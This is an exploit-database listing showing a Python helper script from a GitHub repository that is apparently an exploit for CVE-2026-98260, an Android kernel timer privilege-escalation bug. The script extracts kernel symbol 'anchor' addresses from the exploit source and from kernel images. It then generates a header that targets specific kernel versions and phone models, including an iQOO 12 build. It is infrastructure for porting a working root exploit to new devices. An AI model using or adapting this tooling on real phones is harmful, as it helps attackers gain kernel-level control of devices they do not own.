Exploit databaseDownload repository ZIP
GH-0011071ef8edba01d913bfaeb274ffe0
okk30721-cell/cve-2026-98260-ksu
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
okk30721-cell/cve-2026-98260-ksuRevision 6b1446641032
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
third_party/ic-timer-lpe/core/tools/gen_anchors.py
Python · 3,788 bytesimport re, sys, struct
src = open(r"C:\Users\hyw\AppData\Local\Temp\ictimer-repo\exploit\timer_lpe.c", encoding="utf-8", errors="replace").read()
# builtin anchor names, in order
m = re.search(r"static const struct ic_anchor ic_anchors_builtin\[\] = \{(.*?)\n\};", src, re.S)
body = m.group(1)
names = re.findall(r'\{\s*"([^"]+)"\s*,\s*(?:0x[0-9a-fA-F]+(?:ULL)?|NULL)\s*\}', body)
names = [n for n in names if n != "NULL"]
print("anchors:", len(names))
# per-build link arrays
arrays = {}
for am in re.finditer(r"static const unsigned long long (ic_\w+_links)\[IC_ANCHOR_COUNT\] = \{(.*?)\n\};", src, re.S):
vals = re.findall(r"0x[0-9a-fA-F]+ULL", am.group(2))
if vals:
arrays[am.group(1)] = [int(v[:-3], 16) for v in vals]
print("arrays:", {k: len(v) for k, v in arrays.items()})
# known builds
kb = re.findall(r'\{\s*"([^"]*)"\s*,\s*"([^"]*)"\s*,\s*"([^"]*)"\s*,\s*(NULL|ic_\w+_links)\s*,', src)
print("known builds:", len(kb))
# optional: symbol table from an Image (name -> address) for a new build
img_name = sys.argv[1] if len(sys.argv) > 1 else None
imglink = None
if img_name:
import importlib.util
p = r"C:\Users\hyw\AppData\Local\Temp\ictimer-repo\tool\kallsyms_py.py"
sp = importlib.util.spec_from_file_location("k", p)
mod = importlib.util.module_from_spec(sp); sys.argv_backup=list(sys.argv); sys.argv=["k"]
sp.loader.exec_module(mod)
sys.argv=list(sys.argv_backup)
img = open(img_name, "rb").read()
entries, syms = mod.recover(img, None)
def addr(n):
v = syms.get(n)
return sorted(v)[0] if v else 0
imglink = [addr(n) for n in names]
out = []
out.append("/* Generated by core/tools/gen_anchors.py -- do not edit. */")
out.append("#ifndef IC_ANCHORS_H")
out.append("#define IC_ANCHORS_H")
out.append("")
out.append("#define IC_ANCHOR_N %d" % len(names))
out.append("")
out.append("struct ic_anchor_build {")
out.append(" const char *kernel; /* uname -r substring, NULL = any */")
out.append(" const char *models; /* '|' separated device ids, NULL = any */")
out.append(" const char *version; /* ro.build.display.id substring */")
out.append(" const char *name;")
out.append(" unsigned long long link[IC_ANCHOR_N];")
out.append("};")
out.append("")
out.append("static const char *const ic_anchor_names[IC_ANCHOR_N] = {")
for n in names:
out.append(' "%s",' % n)
out.append("};")
out.append("")
out.append("static const struct ic_anchor_build ic_anchor_builds[] = {")
if imglink is not None:
out.append(' { "6.1.145-android14-11-maybe-dirty", "PD2307|PD2329|V2307", "16.2.11", "iqoo12-16.2.11", {')
out.append(" " + ", ".join("0x%xULL" % v for v in imglink) + " } },")
# addresses of the builtin reference table (used by the NULL-links entry)
builtin_addr = re.findall(r'\{\s*"([^"]+)"\s*,\s*(0x[0-9a-fA-F]+)ULL\s*\}', body)
builtin_vals = [int(a, 16) for _, a in builtin_addr]
for kernel, models, version, arr in kb:
if arr == "NULL":
if len(builtin_vals) == len(names):
out.append(' { "%s", "%s", "%s", "builtin-16.1.15.0", {' % (kernel, models, version))
out.append(" " + ", ".join("0x%xULL" % v for v in builtin_vals) + " } },")
continue
vals = arrays.get(arr)
if not vals or len(vals) != len(names):
print("skip", version, arr, "len", len(vals) if vals else None)
continue
out.append(' { "%s", "%s", "%s", "%s", {' % (kernel, models, version, arr))
out.append(" " + ", ".join("0x%xULL" % v for v in vals) + " } },")
out.append("};")
out.append("")
out.append("#endif")
open(r"C:\Users\hyw\AppData\Local\Temp\ictimer-repo\core\anchors.h", "w", encoding="utf-8", newline="\n").write("\n".join(out) + "\n")
print("wrote anchors.h with", len(out), "lines")